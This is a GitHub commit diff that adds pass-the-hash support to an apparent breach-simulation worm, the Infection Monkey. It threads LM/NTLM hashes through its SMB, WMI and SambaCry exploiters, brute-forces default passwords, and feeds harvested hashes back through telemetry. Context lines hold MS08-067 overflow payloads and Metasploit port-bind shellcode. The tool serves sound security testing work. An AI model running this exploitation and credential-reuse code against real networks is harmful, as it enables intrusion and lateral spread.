Merge pull request #52 from guardicore/feature/pass-the-hash

Feature/pass the hash
This commit is contained in:
Daniel Goldberg 2017-09-28 19:27:12 +03:00 committed by GitHub
commit e8583a5bd8
9 changed files with 207 additions and 127 deletions

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@ -231,8 +231,24 @@ class Configuration(object):
"""
return product(self.exploit_user_list, self.exploit_password_list)
def get_exploit_user_password_or_hash_product(self):
"""
Returns all combinations of the configurations users and passwords or lm/ntlm hashes
:return:
"""
cred_list = []
for cred in product(self.exploit_user_list, self.exploit_password_list, [''], ['']):
cred_list.append(cred)
for cred in product(self.exploit_user_list, [''], [''], self.exploit_ntlm_hash_list):
cred_list.append(cred)
for cred in product(self.exploit_user_list, [''], self.exploit_lm_hash_list, ['']):
cred_list.append(cred)
return cred_list
exploit_user_list = ['Administrator', 'root', 'user']
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = []
exploit_ntlm_hash_list = []
# smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds

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@ -65,6 +65,8 @@
"skip_exploit_if_file_exist": true,
"exploit_user_list": [],
"exploit_password_list": [],
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],

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@ -1,11 +1,10 @@
import itertools
import logging
import posixpath
import re
import sys
import time
from io import BytesIO
from os import path
import itertools
import posixpath
import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS
@ -37,7 +36,6 @@ class SambaCryExploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
@ -66,7 +64,8 @@ class SambaCryExploiter(HostExploiter):
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
LOG.info(
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
@ -86,7 +85,8 @@ class SambaCryExploiter(HostExploiter):
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
"""
@ -161,15 +161,15 @@ class SambaCryExploiter(HostExploiter):
return writable_shares_creds_dict
def get_credentials_list(self):
user_password_pairs = self._config.get_exploit_user_password_pairs()
creds = self._config.get_exploit_user_password_or_hash_product()
creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
for user, password, lm_hash, ntlm_hash in creds]
# Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
for user, password in user_password_pairs:
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
return creds
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
@ -197,11 +197,14 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
samba_version_parts[1] <= "13"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
samba_version_parts[1] <= "9"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
samba_version_parts[1] <= "3"):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
@ -243,7 +246,8 @@ class SambaCryExploiter(HostExploiter):
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
with self.get_monkey_commandline_file(host, depth,
self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
@ -325,7 +329,6 @@ class SambaCryExploiter(HostExploiter):
else:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
@ -406,5 +409,7 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0)

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@ -16,12 +16,12 @@ try:
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
raise
LOG = getLogger(__name__)
@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
user_password_pairs = self._config.get_exploit_user_password_pairs()
creds = self._config.get_exploit_user_password_or_hash_product()
exploited = False
for user, password in user_password_pairs:
for user, password, lm_hash, ntlm_hash in creds:
try:
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
user,
password,
src_path,
self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout)
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
host, user, password)
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
host, user, password, lm_hash, ntlm_hash)
host.learn_credentials(user, password)
exploited = True
break
else:
# failed exploiting with this user/pass
report_failed_login(self, host, user, password)
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
except Exception, exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user"
" %s and password '%s': (%s)", host,
user, password, exc)
except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
user, password, lm_hash, ntlm_hash, exc)
continue
if not exploited:
@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(user, password, host.ip_addr,
"", "", None)
rpctransport.set_credentials(user, password, '',
lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
try:
scmr_rpc.connect()
except Exception, exc:
except Exception as exc:
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
host, exc)
return False

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@ -62,7 +62,7 @@ class WmiTools(object):
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception, exc:
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
@ -156,7 +156,7 @@ class WmiTools(object):
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError, exc:
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
@ -169,20 +169,21 @@ class WmiTools(object):
class SmbTools(object):
@staticmethod
def copy_file(host, username, password, src_path, dst_path, timeout=60):
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = __import__('config').WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
host, username, password)
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
@ -193,7 +194,7 @@ class SmbTools(object):
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception, exc:
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
@ -210,7 +211,7 @@ class SmbTools(object):
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception, exc:
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
@ -252,13 +253,13 @@ class SmbTools(object):
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception, exc:
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
@ -293,7 +294,7 @@ class SmbTools(object):
src_path, share_name, share_path, host)
break
except Exception, exc:
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
continue
@ -307,23 +308,23 @@ class SmbTools(object):
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username %s and password '%s'",
host, username, password)
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, timeout=60):
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception, exc:
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception, exc:
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
@ -334,10 +335,10 @@ class SmbTools(object):
# we know this should work because the WMI connection worked
try:
smb.login(username, password, domain=host.ip_addr)
except Exception, exc:
LOG.debug("Error while loging into %r using user %s and password '%s': %s",
host, username, password, exc)
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
@ -473,11 +474,17 @@ def build_monkey_commandline(target_host, depth, location=None):
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password):
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password})
telemetry_dict =\
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}
if lm_hash:
telemetry_dict['lm_hash'] = lm_hash
if ntlm_hash:
telemetry_dict['ntlm_hash'] = ntlm_hash
ControlClient.send_telemetry('exploit', telemetry_dict)
def get_binaries_dir_path():

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@ -9,32 +9,33 @@
import sys
import time
import socket
from enum import IntEnum
from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from . import HostExploiter
from enum import IntEnum
from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from network import SMBFinger
from network.tools import check_port_tcp
from tools import build_monkey_commandline
from . import HostExploiter
try:
from impacket import smb
from impacket import uuid
#from impacket.dcerpc import dcerpc
# from impacket.dcerpc import dcerpc
from impacket.dcerpc.v5 import transport
from impacket.smbconnection import SessionError as SessionError1
from impacket.smb import SessionError as SessionError2
from impacket.smb3 import SessionError as SessionError3
except ImportError, exc:
except ImportError as exc:
print str(exc)
print 'Install the following library to make this script work'
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
sys.exit(1)
LOG = getLogger(__name__)
# Portbind shellcode from metasploit; Binds port to TCP port 4444
@ -62,7 +63,6 @@ SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
# Payload for Windows 2000 target
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
@ -132,7 +132,7 @@ class SRVSVC_Exploit(object):
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
dce_packet = self._build_dce_packet()
self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation
self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
LOG.debug("Exploit sent to %s successfully...", self._target)
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
@ -218,7 +218,7 @@ class Ms08_067_Exploiter(HostExploiter):
LOG.debug("Exploited into %r using MS08-067", host)
exploited = True
break
except Exception, exc:
except Exception as exc:
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
continue
@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
src_path,
self._config.dropper_target_path)
self._config.dropper_target_path,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass)
if not remote_full_path:
# try other passwords for administrator
for password in self._config.exploit_password_list:
remote_full_path = SmbTools.copy_file(host,
"Administrator",
password,
src_path,
self._config.dropper_target_path)
self._config.dropper_target_path,
"Administrator",
password)
if remote_full_path:
break
@ -256,15 +256,15 @@ class Ms08_067_Exploiter(HostExploiter):
build_monkey_commandline(host, depth - 1)
try:
sock.send("start %s\r\n" % (cmdline, ))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
except Exception, exc:
sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
return False
finally:
try:
sock.close()
except:
except socket.error:
pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",

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@ -29,34 +29,36 @@ class WmiExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
user_password_pairs = self._config.get_exploit_user_password_pairs()
creds = self._config.get_exploit_user_password_or_hash_product()
for user, password in user_password_pairs:
LOG.debug("Attempting to connect %r using WMI with password '%s'",
host, password)
for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection()
try:
wmi_connection.connect(host,
user,
password)
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
host, user, password)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
continue
except DCERPCException, exc:
report_failed_login(self, host, user, password)
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
host, user, password)
except DCERPCException as exc:
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
continue
except socket.error, exc:
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
host, user, password, exc)
except socket.error as exc:
LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash)
return False
except Exception, exc:
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
host, user, password, exc, traceback.format_exc())
except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False
host.learn_credentials(user, password)
@ -73,10 +75,12 @@ class WmiExploiter(HostExploiter):
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
user,
password,
src_path,
self._config.dropper_target_path,
user,
password,
lm_hash,
ntlm_hash,
self._config.smb_download_timeout)
if not remote_full_path:

View File

@ -155,5 +155,9 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_username(user)
if 'password' in creds[user]:
ConfigService.creds_add_password(creds[user]['password'])
if 'lm_hash' in creds[user]:
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])

View File

@ -423,6 +423,32 @@ SCHEMA = {
"description": "The fullpath of the monkey log file on Windows"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
}
}
}
}
},
@ -818,20 +844,34 @@ class ConfigService:
return SCHEMA
@staticmethod
def creds_add_username(username):
def add_item_to_config_set(item_key, item_value):
mongo.db.config.update(
{'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_user_list': username}},
{'$addToSet': {item_key: item_value}},
upsert=False
)
mongo.db.monkey.update(
{},
{'$addToSet': {'config.' + item_key.split('.')[-1]: item_value}},
multi=True
)
@staticmethod
def creds_add_username(username):
ConfigService.add_item_to_config_set('basic.credentials.exploit_user_list', username)
@staticmethod
def creds_add_password(password):
mongo.db.config.update(
{'name': 'newconfig'},
{'$addToSet': {'exploits.credentials.exploit_password_list': password}},
upsert=False
)
ConfigService.add_item_to_config_set('basic.credentials.exploit_password_list', password)
@staticmethod
def creds_add_lm_hash(lm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_lm_hash_list', lm_hash)
@staticmethod
def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod
def update_config(config_json):